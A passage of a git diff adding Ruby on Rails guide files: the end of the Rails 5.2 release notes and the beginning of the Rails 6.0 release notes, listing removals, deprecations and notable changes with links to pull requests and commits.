+*   Fix relation merger issue with `left_outer_joins`.
+    ([Pull Request](https://github.com/rails/rails/pull/27860))
+
+*   Support for PostgreSQL foreign tables.
+    ([Pull Request](https://github.com/rails/rails/pull/31549))
+
+*   Clear the transaction state when an Active Record object is duped.
+    ([Pull Request](https://github.com/rails/rails/pull/31751))
+
+*   Fix not expanded problem when passing an Array object as argument
+    to the where method using `composed_of` column.
+    ([Pull Request](https://github.com/rails/rails/pull/31724))
+
+*   Make `reflection.klass` raise if `polymorphic?` not to be misused.
+    ([Commit](https://github.com/rails/rails/commit/63fc1100ce054e3e11c04a547cdb9387cd79571a))
+
+*   Fix `#columns_for_distinct` of MySQL and PostgreSQL to make
+    `ActiveRecord::FinderMethods#limited_ids_for` use correct primary key values
+    even if `ORDER BY` columns include other table's primary key.
+    ([Commit](https://github.com/rails/rails/commit/851618c15750979a75635530200665b543561a44))
+
+*   Fix `dependent: :destroy` issue for has_one/belongs_to relationship where
+    the parent class was getting deleted when the child was not.
+    ([Commit](https://github.com/rails/rails/commit/b0fc04aa3af338d5a90608bf37248668d59fc881))
+
+*   Idle database connections (previously just orphaned connections) are now
+    periodically reaped by the connection pool reaper.
+    ([Commit](https://github.com/rails/rails/pull/31221/commits/9027fafff6da932e6e64ddb828665f4b01fc8902))
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Notable changes
+
+*   Fix methods `#keys`, `#values` in `ActiveModel::Errors`.
+    Change `#keys` to only return the keys that don't have empty messages.
+    Change `#values` to only return the not empty values.
+    ([Pull Request](https://github.com/rails/rails/pull/28584))
+
+*   Add method `#merge!` for `ActiveModel::Errors`.
+    ([Pull Request](https://github.com/rails/rails/pull/29714))
+
+*   Allow passing a Proc or Symbol to length validator options.
+    ([Pull Request](https://github.com/rails/rails/pull/30674))
+
+*   Execute `ConfirmationValidator` validation when `_confirmation`'s value
+    is `false`.
+    ([Pull Request](https://github.com/rails/rails/pull/31058))
+
+*   Models using the attributes API with a proc default can now be marshalled.
+    ([Commit](https://github.com/rails/rails/commit/0af36c62a5710e023402e37b019ad9982e69de4b))
+
+*   Do not lose all multiple `:includes` with options in serialization.
+    ([Commit](https://github.com/rails/rails/commit/853054bcc7a043eea78c97e7705a46abb603cc44))
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `:if` and `:unless` string filter for callbacks.
+    ([Commit](https://github.com/rails/rails/commit/c792354adcbf8c966f274915c605c6713b840548))
+
+*   Remove deprecated `halt_callback_chains_on_return_false` option.
+    ([Commit](https://github.com/rails/rails/commit/19fbbebb1665e482d76cae30166b46e74ceafe29))
+
+### Deprecations
+
+*   Deprecate `Module#reachable?` method.
+    ([Pull Request](https://github.com/rails/rails/pull/30624))
+
+*   Deprecate `secrets.secret_token`.
+    ([Commit](https://github.com/rails/rails/commit/fbcc4bfe9a211e219da5d0bb01d894fcdaef0a0e))
+
+### Notable changes
+
+*   Add `fetch_values` for `HashWithIndifferentAccess`.
+    ([Pull Request](https://github.com/rails/rails/pull/28316))
+
+*   Add support for `:offset` to `Time#change`.
+    ([Commit](https://github.com/rails/rails/commit/851b7f866e13518d900407c78dcd6eb477afad06))
+
+*   Add support for `:offset` and `:zone`
+    to `ActiveSupport::TimeWithZone#change`.
+    ([Commit](https://github.com/rails/rails/commit/851b7f866e13518d900407c78dcd6eb477afad06))
+
+*   Pass gem name and deprecation horizon to deprecation notifications.
+    ([Pull Request](https://github.com/rails/rails/pull/28800))
+
+*   Add support for versioned cache entries. This enables the cache stores to
+    recycle cache keys, greatly saving on storage in cases with frequent churn.
+    Works together with the separation of `#cache_key` and `#cache_version`
+    in Active Record and its use in Action Pack's fragment caching.
+    ([Pull Request](https://github.com/rails/rails/pull/29092))
+
+*   Add `ActiveSupport::CurrentAttributes` to provide a thread-isolated
+    attributes singleton. Primary use case is keeping all the per-request
+    attributes easily available to the whole system.
+    ([Pull Request](https://github.com/rails/rails/pull/29180))
+
+*   `#singularize` and `#pluralize` now respect uncountables for
+    the specified locale.
+    ([Commit](https://github.com/rails/rails/commit/352865d0f835c24daa9a2e9863dcc9dde9e5371a))
+
+*   Add default option to `class_attribute`.
+    ([Pull Request](https://github.com/rails/rails/pull/29270))
+
+*   Add `Date#prev_occurring` and `Date#next_occurring` to return
+    specified next/previous occurring day of week.
+    ([Pull Request](https://github.com/rails/rails/pull/26600))
+
+*   Add default option to module and class attribute accessors.
+    ([Pull Request](https://github.com/rails/rails/pull/29294))
+
+*   Cache: `write_multi`.
+    ([Pull Request](https://github.com/rails/rails/pull/29366))
+
+*   Default `ActiveSupport::MessageEncryptor` to use AES 256 GCM encryption.
+    ([Pull Request](https://github.com/rails/rails/pull/29263))
+
+*   Add `freeze_time` helper which freezes time to `Time.now` in tests.
+    ([Pull Request](https://github.com/rails/rails/pull/29681))
+
+*   Make the order of `Hash#reverse_merge!` consistent
+    with `HashWithIndifferentAccess`.
+    ([Pull Request](https://github.com/rails/rails/pull/28077))
+
+*   Add purpose and expiry support to `ActiveSupport::MessageVerifier` and
+    `ActiveSupport::MessageEncryptor`.
+    ([Pull Request](https://github.com/rails/rails/pull/29892))
+
+*   Update `String#camelize` to provide feedback when wrong option is passed.
+    ([Pull Request](https://github.com/rails/rails/pull/30039))
+
+*   `Module#delegate_missing_to` now raises `DelegationError` if target is nil,
+    similar to `Module#delegate`.
+    ([Pull Request](https://github.com/rails/rails/pull/30191))
+
+*   Add `ActiveSupport::EncryptedFile` and
+    `ActiveSupport::EncryptedConfiguration`.
+    ([Pull Request](https://github.com/rails/rails/pull/30067))
+
+*   Add `config/credentials.yml.enc` to store production app secrets.
+    ([Pull Request](https://github.com/rails/rails/pull/30067))
+
+*   Add key rotation support to `MessageEncryptor` and `MessageVerifier`.
+    ([Pull Request](https://github.com/rails/rails/pull/29716))
+
+*   Return an instance of `HashWithIndifferentAccess` from
+    `HashWithIndifferentAccess#transform_keys`.
+    ([Pull Request](https://github.com/rails/rails/pull/30728))
+
+*   `Hash#slice` now falls back to Ruby 2.5+'s built-in definition if defined.
+    ([Commit](https://github.com/rails/rails/commit/01ae39660243bc5f0a986e20f9c9bff312b1b5f8))
+
+*   `IO#to_json` now returns the `to_s` representation, rather than
+    attempting to convert to an array. This fixes a bug where `IO#to_json`
+    would raise an `IOError` when called on an unreadable object.
+    ([Pull Request](https://github.com/rails/rails/pull/30953))
+
+*   Add same method signature for `Time#prev_day` and `Time#next_day`
+    in accordance with `Date#prev_day`, `Date#next_day`.
+    Allows pass argument for `Time#prev_day` and `Time#next_day`.
+    ([Commit](https://github.com/rails/rails/commit/61ac2167eff741bffb44aec231f4ea13d004134e))
+
+*   Add same method signature for `Time#prev_month` and `Time#next_month`
+    in accordance with `Date#prev_month`, `Date#next_month`.
+    Allows pass argument for `Time#prev_month` and `Time#next_month`.
+    ([Commit](https://github.com/rails/rails/commit/f2c1e3a793570584d9708aaee387214bc3543530))
+
+*   Add same method signature for `Time#prev_year` and `Time#next_year`
+    in accordance with `Date#prev_year`, `Date#next_year`.
+    Allows pass argument for `Time#prev_year` and `Time#next_year`.
+    ([Commit](https://github.com/rails/rails/commit/ee9d81837b5eba9d5ec869ae7601d7ffce763e3e))
+
+*   Fix acronym support in `humanize`.
+    ([Commit](https://github.com/rails/rails/commit/0ddde0a8fca6a0ca3158e3329713959acd65605d))
+
+*   Allow `Range#include?` on TWZ ranges.
+    ([Pull Request](https://github.com/rails/rails/pull/31081))
+
+*   Cache: Enable compression by default for values > 1kB.
+    ([Pull Request](https://github.com/rails/rails/pull/31147))
+
+*   Redis cache store.
+    ([Pull Request](https://github.com/rails/rails/pull/31134),
+    [Pull Request](https://github.com/rails/rails/pull/31866))
+
+*   Handle `TZInfo::AmbiguousTime` errors.
+    ([Pull Request](https://github.com/rails/rails/pull/31128))
+
+*   MemCacheStore: Support expiring counters.
+    ([Commit](https://github.com/rails/rails/commit/b22ee64b5b30c6d5039c292235e10b24b1057f6d))
+
+*   Make `ActiveSupport::TimeZone.all` return only time zones that are in
+    `ActiveSupport::TimeZone::MAPPING`.
+    ([Pull Request](https://github.com/rails/rails/pull/31176))
+
+*   Changed default behavior of `ActiveSupport::SecurityUtils.secure_compare`,
+    to make it not leak length information even for variable length string.
+    Renamed old `ActiveSupport::SecurityUtils.secure_compare` to
+    `fixed_length_secure_compare`, and started raising `ArgumentError` in
+    case of length mismatch of passed strings.
+    ([Pull Request](https://github.com/rails/rails/pull/24510))
+
+*   Use SHA-1 to generate non-sensitive digests, such as the ETag header.
+    ([Pull Request](https://github.com/rails/rails/pull/31289),
+    [Pull Request](https://github.com/rails/rails/pull/31651))
+
+*   `assert_changes` will always assert that the expression changes,
+    regardless of `from:` and `to:` argument combinations.
+    ([Pull Request](https://github.com/rails/rails/pull/31011))
+
+*   Add missing instrumentation for `read_multi`
+    in `ActiveSupport::Cache::Store`.
+    ([Pull Request](https://github.com/rails/rails/pull/30268))
+
+*   Support hash as first argument in `assert_difference`.
+    This allows to specify multiple numeric differences in the same assertion.
+    ([Pull Request](https://github.com/rails/rails/pull/31600))
+
+*   Caching: MemCache and Redis `read_multi` and `fetch_multi` speedup.
+    Read from the local in-memory cache before consulting the backend.
+    ([Commit](https://github.com/rails/rails/commit/a2b97e4ffef971607a1be8fc7909f099b6840f36))
+
+Active Job
+----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Notable changes
+
+*   Allow block to be passed to `ActiveJob::Base.discard_on` to allow custom
+    handling of discard jobs.
+    ([Pull Request](https://github.com/rails/rails/pull/30622))
+
+Ruby on Rails Guides
+--------------------
+
+Please refer to the [Changelog][guides] for detailed changes.
+
+### Notable changes
+
+*   Add
+    [Threading and Code Execution in Rails](threading_and_code_execution.html)
+    Guide.
+    ([Pull Request](https://github.com/rails/rails/pull/27494))
+
+*   Add [Active Storage Overview](active_storage_overview.html) Guide.
+    ([Pull Request](https://github.com/rails/rails/pull/31037))
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](https://contributors.rubyonrails.org/)
+for the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/5-2-stable/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/5-2-stable/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/5-2-stable/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/5-2-stable/actionmailer/CHANGELOG.md
+[action-cable]:   https://github.com/rails/rails/blob/5-2-stable/actioncable/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/5-2-stable/activerecord/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/5-2-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/5-2-stable/activesupport/CHANGELOG.md
+[active-job]:     https://github.com/rails/rails/blob/5-2-stable/activejob/CHANGELOG.md
+[guides]:         https://github.com/rails/rails/blob/5-2-stable/guides/CHANGELOG.md
diff --git a/guides/source/6_0_release_notes.md b/guides/source/6_0_release_notes.md
new file mode 100644
index 0000000000000..681ff7be42512
--- /dev/null
+++ b/guides/source/6_0_release_notes.md
@@ -0,0 +1,1035 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
+
+Ruby on Rails 6.0 Release Notes
+===============================
+
+Highlights in Rails 6.0:
+
+* Action Mailbox
+* Action Text
+* Parallel Testing
+* Action Cable Testing
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the changelogs or check out the [list of
+commits](https://github.com/rails/rails/commits/6-0-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 6.0
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 5.2 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 6.0. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-2-to-rails-6-0)
+guide.
+
+Major Features
+--------------
+
+### Action Mailbox
+
+[Pull Request](https://github.com/rails/rails/pull/34786)
+
+[Action Mailbox](https://github.com/rails/rails/tree/6-0-stable/actionmailbox) allows you
+to route incoming emails to controller-like mailboxes.
+You can read more about Action Mailbox in the [Action Mailbox Basics](action_mailbox_basics.html) guide.
+
+### Action Text
+
+[Pull Request](https://github.com/rails/rails/pull/34873)
+
+[Action Text](https://github.com/rails/rails/tree/6-0-stable/actiontext)
+brings rich text content and editing to Rails. It includes
+the [Trix editor](https://trix-editor.org) that handles everything from formatting
+to links to quotes to lists to embedded images and galleries.
+The rich text content generated by the Trix editor is saved in its own
+RichText model that's associated with any existing Active Record model in the application.
+Any embedded images (or other attachments) are automatically stored using
+Active Storage and associated with the included RichText model.
+
+You can read more about Action Text in the [Action Text Overview](action_text_overview.html) guide.
+
+### Parallel Testing
+
+[Pull Request](https://github.com/rails/rails/pull/31900)
+
+[Parallel Testing](testing.html#parallel-testing) allows you to parallelize your
+test suite. While forking processes is the default method, threading is
+supported as well. Running tests in parallel reduces the time it takes
+your entire test suite to run.
+
+### Action Cable Testing
+
+[Pull Request](https://github.com/rails/rails/pull/33659)
+
+[Action Cable testing tools](testing.html#testing-action-cable) allow you to test your
+Action Cable functionality at any level: connections, channels, broadcasts.
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `after_bundle` helper inside plugins templates.
+    ([Commit](https://github.com/rails/rails/commit/4d51efe24e461a2a3ed562787308484cd48370c7))
+
+*   Remove deprecated support to `config.ru` that uses the application
+    class as argument of `run`.
+    ([Commit](https://github.com/rails/rails/commit/553b86fc751c751db504bcbe2d033eb2bb5b6a0b))
+
+*   Remove deprecated `environment` argument from the rails commands.
+    ([Commit](https://github.com/rails/rails/commit/e20589c9be09c7272d73492d4b0f7b24e5595571))
+
+*   Remove deprecated `capify!` method in generators and templates.
+    ([Commit](https://github.com/rails/rails/commit/9d39f81d512e0d16a27e2e864ea2dd0e8dc41b17))
+
+*   Remove deprecated `config.secret_token`.
+    ([Commit](https://github.com/rails/rails/commit/46ac5fe69a20d4539a15929fe48293e1809a26b0))
+
+### Deprecations
+
+*   Deprecate passing Rack server name as a regular argument to `rails server`.
+    ([Pull Request](https://github.com/rails/rails/pull/32058))
+
+*   Deprecate support for using `HOST` environment to specify server IP.
+    ([Pull Request](https://github.com/rails/rails/pull/32540))
+
+*   Deprecate accessing hashes returned by `config_for` by non-symbol keys.
+    ([Pull Request](https://github.com/rails/rails/pull/35198))
+
+### Notable changes
+
+*   Add an explicit option `--using` or `-u` for specifying the server for the
+    `rails server` command.
+    ([Pull Request](https://github.com/rails/rails/pull/32058))
+
+*   Add ability to see the output of `rails routes` in expanded format.
+    ([Pull Request](https://github.com/rails/rails/pull/32130))
+
+*   Run the seed database task using inline Active Job adapter.
+    ([Pull Request](https://github.com/rails/rails/pull/34953))
+
+*   Add a command `rails db:system:change` to change the database of the application.
+    ([Pull Request](https://github.com/rails/rails/pull/34832))
+
+*   Add `rails test:channels` command to test only Action Cable channels.
+    ([Pull Request](https://github.com/rails/rails/pull/34947))
+
+*   Introduce guard against DNS rebinding attacks.
+    ([Pull Request](https://github.com/rails/rails/pull/33145))
+
+*   Add ability to abort on failure while running generator commands.
+    ([Pull Request](https://github.com/rails/rails/pull/34420))
+
+*   Make Webpacker the default JavaScript compiler for Rails 6.
+    ([Pull Request](https://github.com/rails/rails/pull/33079))
+
+*   Add multiple database support for `rails db:migrate:status` command.
+    ([Pull Request](https://github.com/rails/rails/pull/34137))
+
+*   Add ability to use different migration paths from multiple databases in
+    the generators.
+    ([Pull Request](https://github.com/rails/rails/pull/34021))
+
+*   Add support for multi environment credentials.
+    ([Pull Request](https://github.com/rails/rails/pull/33521))
+
+*   Make `null_store` as default cache store in test environment.
+    ([Pull Request](https://github.com/rails/rails/pull/33773))
+
+Action Cable
+------------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Removals
+
+*   Replace `ActionCable.startDebugging()` and `ActionCable.stopDebugging()`
+    with `ActionCable.logger.enabled`.
+    ([Pull Request](https://github.com/rails/rails/pull/34370))
+
+### Deprecations
+
+*   There are no deprecations for Action Cable in Rails 6.0.
+
+### Notable changes
+
+*   Add support for the `channel_prefix` option for PostgreSQL subscription adapters
+    in `cable.yml`.
+    ([Pull Request](https://github.com/rails/rails/pull/35276))
+
+*   Allow passing a custom configuration to `ActionCable::Server::Base`.
+    ([Pull Request](https://github.com/rails/rails/pull/34714))
+
+*   Add `:action_cable_connection` and `:action_cable_channel` load hooks.
+    ([Pull Request](https://github.com/rails/rails/pull/35094))
+
+*   Add `Channel::Base#broadcast_to` and `Channel::Base.broadcasting_for`.
+    ([Pull Request](https://github.com/rails/rails/pull/35021))
+
+*   Close a connection when calling `reject_unauthorized_connection` from an
+    `ActionCable::Connection`.
+    ([Pull Request](https://github.com/rails/rails/pull/34194))
+
+*   Convert the Action Cable JavaScript package from CoffeeScript to ES2015 and
+    publish the source code in the npm distribution.
+    ([Pull Request](https://github.com/rails/rails/pull/34370))
+
+*   Move the configuration of the WebSocket adapter and logger adapter
+    from properties of `ActionCable` to `ActionCable.adapters`.
+    ([Pull Request](https://github.com/rails/rails/pull/34370))
+
+*   Add an `id` option to the Redis adapter to distinguish Action Cable's Redis
+    connections.
+    ([Pull Request](https://github.com/rails/rails/pull/33798))
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `fragment_cache_key` helper in favor of `combined_fragment_cache_key`.
+    ([Commit](https://github.com/rails/rails/commit/e70d3df7c9b05c129b0fdcca57f66eca316c5cfc))
+
+*   Remove deprecated methods in `ActionDispatch::TestResponse`:
+    `#success?` in favor of `#successful?`, `#missing?` in favor of `#not_found?`,
+    `#error?` in favor of `#server_error?`.
+    ([Commit](https://github.com/rails/rails/commit/13ddc92e079e59a0b894e31bf5bb4fdecbd235d1))
+
+### Deprecations
+
+*   Deprecate `ActionDispatch::Http::ParameterFilter` in favor of `ActiveSupport::ParameterFilter`.
+    ([Pull Request](https://github.com/rails/rails/pull/34039))
+
+*   Deprecate controller level `force_ssl` in favor of `config.force_ssl`.
+    ([Pull Request](https://github.com/rails/rails/pull/32277))
+
+### Notable changes
+
+*   Change `ActionDispatch::Response#content_type` returning Content-Type
+    header as it is.
+    ([Pull Request](https://github.com/rails/rails/pull/36034))
+
+*   Raise an `ArgumentError` if a resource param contains a colon.
+    ([Pull Request](https://github.com/rails/rails/pull/35236))
+
+*   Allow `ActionDispatch::SystemTestCase.driven_by` to be called with a block
+    to define specific browser capabilities.
+    ([Pull Request](https://github.com/rails/rails/pull/35081))
+
+*   Add `ActionDispatch::HostAuthorization` middleware that guards against DNS rebinding
+    attacks.
+    ([Pull Request](https://github.com/rails/rails/pull/33145))
+
+*   Allow the use of `parsed_body` in `ActionController::TestCase`.
+    ([Pull Request](https://github.com/rails/rails/pull/34717))
+
+*   Raise an `ArgumentError` when multiple root routes exist in the same context
+    without `as:` naming specifications.
+    ([Pull Request](https://github.com/rails/rails/pull/34494))
+
+*   Allow the use of `#rescue_from` for handling parameter parsing errors.
+    ([Pull Request](https://github.com/rails/rails/pull/34341))
+
+*   Add `ActionController::Parameters#each_value` for iterating through parameters.
+    ([Pull Request](https://github.com/rails/rails/pull/33979))
+
+*   Encode Content-Disposition filenames on `send_data` and `send_file`.
+    ([Pull Request](https://github.com/rails/rails/pull/33829))
+
+*   Expose `ActionController::Parameters#each_key`.
+    ([Pull Request](https://github.com/rails/rails/pull/33758))
+
+*   Add purpose and expiry metadata inside signed/encrypted cookies to prevent copying the value of
+    cookies into one another.
+    ([Pull Request](https://github.com/rails/rails/pull/32937))
+
+*   Raise `ActionController::RespondToMismatchError` for conflicting `respond_to` invocations.
+    ([Pull Request](https://github.com/rails/rails/pull/33446))
+
+*   Add an explicit error page for when a template is missing for a request format.
+    ([Pull Request](https://github.com/rails/rails/pull/29286))
+
+*   Introduce `ActionDispatch::DebugExceptions.register_interceptor`, a way to hook into
+    DebugExceptions and process the exception, before being rendered.
+    ([Pull Request](https://github.com/rails/rails/pull/23868))
+
+*   Output only one Content-Security-Policy nonce header value per request.
+    ([Pull Request](https://github.com/rails/rails/pull/32602))
+
+*   Add a module specifically for the Rails default headers configuration
+    that can be explicitly included in controllers.
+    ([Pull Request](https://github.com/rails/rails/pull/32484))
+
+*   Add `#dig` to `ActionDispatch::Request::Session`.
+    ([Pull Request](https://github.com/rails/rails/pull/32446))
+
+Action View
+-----------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `image_alt` helper.
+    ([Commit](https://github.com/rails/rails/commit/60c8a03c8d1e45e48fcb1055ba4c49ed3d5ff78f))
+
+*   Remove an empty `RecordTagHelper` module from which the functionality
+    was already moved to the `record_tag_helper` gem.
+    ([Commit](https://github.com/rails/rails/commit/5c5ddd69b1e06fb6b2bcbb021e9b8dae17e7cb31))
+
+### Deprecations
+
+*   Deprecate `ActionView::Template.finalize_compiled_template_methods` with
+    no replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/35036))
+
+*   Deprecate `config.action_view.finalize_compiled_template_methods` with
+    no replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/35036))
+
+*   Deprecate calling private model methods from the `options_from_collection_for_select` view helper.
+    ([Pull Request](https://github.com/rails/rails/pull/33547))
+
+### Notable changes
+
+*   Clear Action View cache in development only on file changes, speeding up
+    development mode.
+    ([Pull Request](https://github.com/rails/rails/pull/35629))
+
+*   Move all of the Rails npm packages into a `@rails` scope.
+    ([Pull Request](https://github.com/rails/rails/pull/34905))
+
+*   Only accept formats from registered MIME types.
+    ([Pull Request](https://github.com/rails/rails/pull/35604), [Pull Request](https://github.com/rails/rails/pull/35753))
+
+*   Add allocations to the template and partial rendering server output.
+    ([Pull Request](https://github.com/rails/rails/pull/34136))
+
+*   Add a `year_format` option to `date_select` tag, making it possible to
+    customize year names.
+    ([Pull Request](https://github.com/rails/rails/pull/32190))
+
+*   Add a `nonce: true` option for `javascript_include_tag` helper to
+    support automatic nonce generation for a Content Security Policy.
+    ([Pull Request](https://github.com/rails/rails/pull/32607))
+
+*   Add a `action_view.finalize_compiled_template_methods` configuration to disable or
+    enable `ActionView::Template` finalizers.
+    ([Pull Request](https://github.com/rails/rails/pull/32418))
+
+*   Extract the JavaScript `confirm` call to its own, overridable method in `rails_ujs`.
+    ([Pull Request](https://github.com/rails/rails/pull/32404))
+
+*   Add a `action_controller.default_enforce_utf8` configuration option to handle
+    enforcing UTF-8 encoding. This defaults to `false`.
+    ([Pull Request](https://github.com/rails/rails/pull/32125))
+
+*   Add I18n key style support for locale keys to submit tags.
+    ([Pull Request](https://github.com/rails/rails/pull/26799))
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Removals
+
+### Deprecations
+
+*   Deprecate `ActionMailer::Base.receive` in favor of Action Mailbox.
+    ([Commit](https://github.com/rails/rails/commit/e3f832a7433a291a51c5df397dc3dd654c1858cb))
+
+*   Deprecate `DeliveryJob` and `Parameterized::DeliveryJob` in favor of
+    `MailDeliveryJob`.
+    ([Pull Request](https://github.com/rails/rails/pull/34591))
+
+### Notable changes
+
+*   Add `MailDeliveryJob` for delivering both regular and parameterized mail.
+    ([Pull Request](https://github.com/rails/rails/pull/34591))
+
+*   Allow custom email delivery jobs to work with the Action Mailer test assertions.
+    ([Pull Request](https://github.com/rails/rails/pull/34339))
+
+*   Allow specifying a template name for multipart emails with blocks instead of
+    using just the action name.
+    ([Pull Request](https://github.com/rails/rails/pull/22534))
+
+*   Add `perform_deliveries` to payload of `deliver.action_mailer` notification.
+    ([Pull Request](https://github.com/rails/rails/pull/33824))
+
+*   Improve the logging message when `perform_deliveries` is false to indicate
+    that sending of emails was skipped.
+    ([Pull Request](https://github.com/rails/rails/pull/33824))
+
+*   Allow calling `assert_enqueued_email_with` without block.
+    ([Pull Request](https://github.com/rails/rails/pull/33258))
+
+*   Perform the enqueued mail delivery jobs in the `assert_emails` block.
+    ([Pull Request](https://github.com/rails/rails/pull/32231))
+
+*   Allow `ActionMailer::Base` to unregister observers and interceptors.
+    ([Pull Request](https://github.com/rails/rails/pull/32207))
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `#set_state` from the transaction object.
+    ([Commit](https://github.com/rails/rails/commit/6c745b0c5152a4437163a67707e02f4464493983))
+
+*   Remove deprecated `#supports_statement_cache?` from the database adapters.
+    ([Commit](https://github.com/rails/rails/commit/5f3ed8784383fb4eb0f9959f31a9c28a991b7553))
+
+*   Remove deprecated `#insert_fixtures` from the database adapters.
+    ([Commit](https://github.com/rails/rails/commit/400ba786e1d154448235f5f90183e48a1043eece))
+
+*   Remove deprecated `ActiveRecord::ConnectionAdapters::SQLite3Adapter#valid_alter_table_type?`.
+    ([Commit](https://github.com/rails/rails/commit/45b4d5f81f0c0ca72c18d0dea4a3a7b2ecc589bf))
+
+*   Remove support for passing the column name to `sum` when a block is passed.
+    ([Commit](https://github.com/rails/rails/commit/91ddb30083430622188d76eb9f29b78131df67f9))
+
+*   Remove support for passing the column name to `count` when a block is passed.
+    ([Commit](https://github.com/rails/rails/commit/67356f2034ab41305af7218f7c8b2fee2d614129))
+
+*   Remove support for delegation of missing methods in a relation to Arel.
+    ([Commit](https://github.com/rails/rails/commit/d97980a16d76ad190042b4d8578109714e9c53d0))
+
+*   Remove support for delegating missing methods in a relation to private methods of the class.
+    ([Commit](https://github.com/rails/rails/commit/a7becf147afc85c354e5cfa519911a948d25fc4d))
+
+*   Remove support for specifying a timestamp name for `#cache_key`.
+    ([Commit](https://github.com/rails/rails/commit/0bef23e630f62e38f20b5ae1d1d5dbfb087050ea))
+
+*   Remove deprecated `ActiveRecord::Migrator.migrations_path=`.
+    ([Commit](https://github.com/rails/rails/commit/90d7842186591cae364fab3320b524e4d31a7d7d))
+
+*   Remove deprecated `expand_hash_conditions_for_aggregates`.
+    ([Commit](https://github.com/rails/rails/commit/27b252d6a85e300c7236d034d55ec8e44f57a83e))
+
+
+### Deprecations
+
+*   Deprecate mismatched case-sensitivity collation comparisons for uniqueness validator.
+    ([Commit](https://github.com/rails/rails/commit/9def05385f1cfa41924bb93daa187615e88c95b9))
+
+*   Deprecate using class level querying methods if the receiver scope has leaked.
+    ([Pull Request](https://github.com/rails/rails/pull/35280))
+
+*   Deprecate `config.active_record.sqlite3.represent_boolean_as_integer`.
+    ([Commit](https://github.com/rails/rails/commit/f59b08119bc0c01a00561d38279b124abc82561b))
+
+*   Deprecate passing `migrations_paths` to `connection.assume_migrated_upto_version`.
+    ([Commit](https://github.com/rails/rails/commit/c1b14aded27e063ead32fa911aa53163d7cfc21a))
+
+*   Deprecate `ActiveRecord::Result#to_hash` in favor of `ActiveRecord::Result#to_a`.
+    ([Commit](https://github.com/rails/rails/commit/16510d609c601aa7d466809f3073ec3313e08937))
+
+*   Deprecate methods in `DatabaseLimits`: `column_name_length`, `table_name_length`,
+    `columns_per_table`, `indexes_per_table`, `columns_per_multicolumn_index`,
+    `sql_query_length`, and `joins_per_query`.
+    ([Commit](https://github.com/rails/rails/commit/e0a1235f7df0fa193c7e299a5adee88db246b44f))
+
+*   Deprecate `update_attributes`/`!` in favor of `update`/`!`.
+    ([Commit](https://github.com/rails/rails/commit/5645149d3a27054450bd1130ff5715504638a5f5))
+
+### Notable changes
+
+*   Bump the minimum version of the `sqlite3` gem to 1.4.
+    ([Pull Request](https://github.com/rails/rails/pull/35844))
+
+*   Add `rails db:prepare` to create a database if it doesn't exist, and run its migrations.
+    ([Pull Request](https://github.com/rails/rails/pull/35768))
+
+*   Add `after_save_commit` callback as shortcut for `after_commit :hook, on: [ :create, :update ]`.
+    ([Pull Request](https://github.com/rails/rails/pull/35804))
+
+*   Add `ActiveRecord::Relation#extract_associated` for extracting associated records from a relation.
+    ([Pull Request](https://github.com/rails/rails/pull/35784))
+
+*   Add `ActiveRecord::Relation#annotate` for adding SQL comments to ActiveRecord::Relation queries.
+    ([Pull Request](https://github.com/rails/rails/pull/35617))
+
+*   Add support for setting Optimizer Hints on databases.
+    ([Pull Request](https://github.com/rails/rails/pull/35615))
+
+*   Add `insert_all`/`insert_all!`/`upsert_all` methods for doing bulk inserts.
+    ([Pull Request](https://github.com/rails/rails/pull/35631))
+
+*   Add `rails db:seed:replant` that truncates tables of each database
+    for the current environment and loads the seeds.
+    ([Pull Request](https://github.com/rails/rails/pull/34779))
+
+*   Add `reselect` method, which is a short-hand for `unscope(:select).select(fields)`.
+    ([Pull Request](https://github.com/rails/rails/pull/33611))
+
+*   Add negative scopes for all enum values.
+    ([Pull Request](https://github.com/rails/rails/pull/35381))
+
+*   Add `#destroy_by` and `#delete_by` for conditional removals.
+    ([Pull Request](https://github.com/rails/rails/pull/35316))
+
+*   Add the ability to automatically switch database connections.
+    ([Pull Request](https://github.com/rails/rails/pull/35073))
+
+*   Add the ability to prevent writes to a database for the duration of a block.
+    ([Pull Request](https://github.com/rails/rails/pull/34505))
+
+*   Add an API for switching connections to support multiple databases.
+    ([Pull Request](https://github.com/rails/rails/pull/34052))
+
+*   Make timestamps with precision the default for migrations.
+    ([Pull Request](https://github.com/rails/rails/pull/34970))
+
+*   Support `:size` option to change text and blob size in MySQL.
+    ([Pull Request](https://github.com/rails/rails/pull/35071))
+
+*   Set both the foreign key and the foreign type columns to NULL for
+    polymorphic associations on `dependent: :nullify` strategy.
